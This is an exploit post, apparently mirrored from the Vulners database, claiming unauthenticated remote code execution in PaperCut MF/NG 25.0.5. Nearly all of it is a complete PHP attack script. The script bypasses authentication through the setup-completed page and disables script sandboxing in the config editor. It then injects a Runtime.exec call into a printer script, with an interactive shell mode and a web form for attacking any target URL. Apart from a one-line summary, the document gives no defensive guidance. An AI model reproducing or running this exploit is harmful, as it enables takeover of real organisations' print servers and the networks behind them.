=============================================================================================================================================
| # Title : PaperCut MF/NG 25.0.5 Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.papercut.com/ |
=============================================================================================================================================
[+] Summary :
A critical security vulnerability was discovered in version 25.0.5 of PaperCut MF/NG
that allows attackers to bypass authentication and execute remote commands on the target system without requiring any credentials.
[+] POC : php poc.php
<?php
class PaperCutExploit {
private $target;
private $session;
public function __construct($target_url) {
$this->target = rtrim($target_url, '/');
$this->session = curl_init();
curl_setopt_array($this->session, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 30,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt'
]);
}
public function get_session_id() {
echo "[*] Attempting authentication bypass...\n";
$url = $this->target . '/app?service=page/SetupCompleted';
curl_setopt_array($this->session, [
CURLOPT_URL => $url,
CURLOPT_HTTPGET => true
]);
$response = curl_exec($this->session);
$post_data = [
'service' => 'direct/1/SetupCompleted/$Form',
'sp' => 'S0',
'Form0' => '$Hidden,analyticsEnabled,$Submit',
'$Hidden' => 'true',
'$Submit' => 'Login'
];
$headers = [
'Origin: ' . $this->target,
'Content-Type: application/x-www-form-urlencoded'
];
curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . '/app',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_HTTPHEADER => $headers
]);
$response = curl_exec($this->session);
$http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
if ($http_code == 200 && strpos($response, 'papercut') !== false) {
$cookies = curl_getinfo($this->session, CURLINFO_COOKIELIST);
foreach ($cookies as $cookie) {
if (strpos($cookie, 'JSESSIONID') !== false) {
echo "[+] Authentication bypass successful! Obtained JSESSIONID\n";
return true;
}
}
}
echo "[-] Authentication bypass failed\n";
return false;
}
public function set_setting($setting, $enabled) {
echo "[*] Updating {$setting} to {$enabled}\n";
$post_data = [
'service' => 'direct/1/ConfigEditor/quickFindForm',
'sp' => 'S0',
'Form0' => '$TextField,doQuickFind,clear',
'$TextField' => $setting,
'doQuickFind' => 'Go'
];
$headers = [
'Origin: ' . $this->target,
'Content-Type: application/x-www-form-urlencoded'
];
curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . '/app',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_HTTPHEADER => $headers
]);
$response = curl_exec($this->session);
$post_data = [
'service' => 'direct/1/ConfigEditor/$Form',
'sp' => 'S1',
'Form1' => '$TextField$0,$Submit,$Submit$0',
'$TextField$0' => $enabled,
'$Submit' => 'Update'
];
curl_setopt_array($this->session, [
CURLOPT_POSTFIELDS => http_build_query($post_data)
]);
$response = curl_exec($this->session);
if (strpos($response, 'Updated successfully') !== false) {
echo "[+] Setting updated successfully\n";
return true;
}
echo "[-] Failed to update setting\n";
return false;
}
public function execute_command($command) {
echo "[*] Preparing to execute command: {$command}\n";
$this->set_setting('print-and-device.script.enabled', 'Y');
$this->set_setting('print.script.sandboxed', 'N');
// Navigate to printer configuration
$steps = [
'/app?service=page/PrinterList',
'/app?service=direct/1/PrinterList/selectPrinter&sp=l1001',
'/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4'
];
foreach ($steps as $step) {
curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . $step,
CURLOPT_HTTPGET => true,
CURLOPT_POSTFIELDS => null
]);
curl_exec($this->session);
}
$script_body = "function printJobHook(inputs, actions) {}\r\n" .
"java.lang.Runtime.getRuntime().exec('{$command}');";
$post_data = [
'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',
'sp' => 'S0',
'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1',
'printerId' => 'l1001',
'enablePrintScript' => 'on',
'scriptBody' => $script_body,
'$Submit$1' => 'Apply'
];
$headers = [
'Origin: ' . $this->target,
'Content-Type: application/x-www-form-urlencoded'
];
curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . '/app',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_HTTPHEADER => $headers
]);
$response = curl_exec($this->session);
if (strpos($response, 'Saved successfully') !== false) {
echo "[+] Command executed successfully!\n";
$this->set_setting('print-and-device.script.enabled', 'N');
$this->set_setting('print.script.sandboxed', 'Y');
return true;
} else {
echo "[-] Command execution failed - printer might not be configured\n";
echo "[*] Try manually adding a printer in PaperCut admin interface\n";
return false;
}
}
public function exploit($command) {
if (!$this->get_session_id()) {
return false;
}
return $this->execute_command($command);
}
public function interactive_shell() {
echo "[+] Starting interactive shell. Type 'exit' to quit.\n";
while (true) {
echo "papercut> ";
$command = trim(fgets(STDIN));
if ($command === 'exit') {
break;
}
if (!empty($command)) {
$this->execute_command($command);
}
}
}
public function __destruct() {
if ($this->session) {
curl_close($this->session);
}
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
}
}
if (php_sapi_name() === 'cli') {
echo "
βββββββ ββββββββββ βββββββ βββ ββββββββββββββ ββββββ βββ ββββββ
ββββββββ βββββββββββββββββββββββ ββββββββββββββ ββββββ ββββββββββββ
βββββββββ βββββ ββββββ ββββββ ββββββββββββββββββββββββββ ββββββββ
ββββββββββββββββββββββββ ββββββ ββββββββββββββββββββββββββ ββββββββ
ββββββ βββββββββββββββββββββββββββββββββββββββββββ ββββββ ββββββ βββ
ββββββ ββββββββββββ βββββββ βββββββ βββββββββββ ββββββ ββββββ βββ
PaperCut MF/NG Unauthenticated RCE Exploit
By: indoushka
\n";
$options = getopt("u:c:ih", [
"url:",
"command:",
"interactive",
"help"
]);
if (isset($options['h']) || isset($options['help']) || $argc == 1) {
echo "Usage: php poc.php [options]\n";
echo "Options:\n";
echo " -u, --url Target URL (required)\n";
echo " -c, --command Command to execute\n";
echo " -i, --interactive Start interactive shell\n";
echo " -h, --help Show this help message\n";
echo "\nExamples:\n";
echo " php poc.php -u https://papercut.company.com -c 'whoami'\n";
echo " php poc.php -u http://192.168.1.100:9191 -c 'ipconfig'\n";
echo " php poc.php -u https://papercut.target.com -i\n";
exit(1);
}
if (!isset($options['u']) && !isset($options['url'])) {
echo "Error: Target URL is required\n";
exit(1);
}
$target = isset($options['u']) ? $options['u'] : $options['url'];
$command = isset($options['c']) ? $options['c'] : (isset($options['command']) ? $options['command'] : 'whoami');
$exploit = new PaperCutExploit($target);
if (isset($options['i']) || isset($options['interactive'])) {
if ($exploit->exploit('echo "Interactive shell started"')) {
$exploit->interactive_shell();
}
} else {
$exploit->exploit($command);
}
} else {
if (isset($_POST['exploit'])) {
$target = $_POST['target'] ?? '';
$command = $_POST['command'] ?? 'whoami';
if ($target) {
$exploit = new PaperCutExploit($target);
ob_start();
$result = $exploit->exploit($command);
$output = ob_get_clean();
echo "<pre>$output</pre>";
} else {
echo "<div style='color: red;'>Target URL is required</div>";
}
} else {
echo '<!DOCTYPE html>
<html>
<head>
<title>PaperCut RCE Exploit</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 600px; margin: 0 auto; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input[type="text"] {
width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px;
}
button {
background: #007cba; color: white; padding: 10px 20px;
border: none; border-radius: 4px; cursor: pointer;
}
</style>
</head>
<body>
<div class="container">
<h1>PaperCut MF/NG RCE Exploit</h1>
<form method="post">
<input type="hidden" name="exploit" value="1">
<div class="form-group">
<label for="target">Target URL:</label>
<input type="text" id="target" name="target" placeholder="https://papercut.company.com:9191" required>
</div>
<div class="form-group">
<label for="command">Command:</label>
<input type="text" id="command" name="command" value="whoami">
</div>
<button type="submit">Execute Exploit</button>
</form>
</div>
</body>
</html>';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation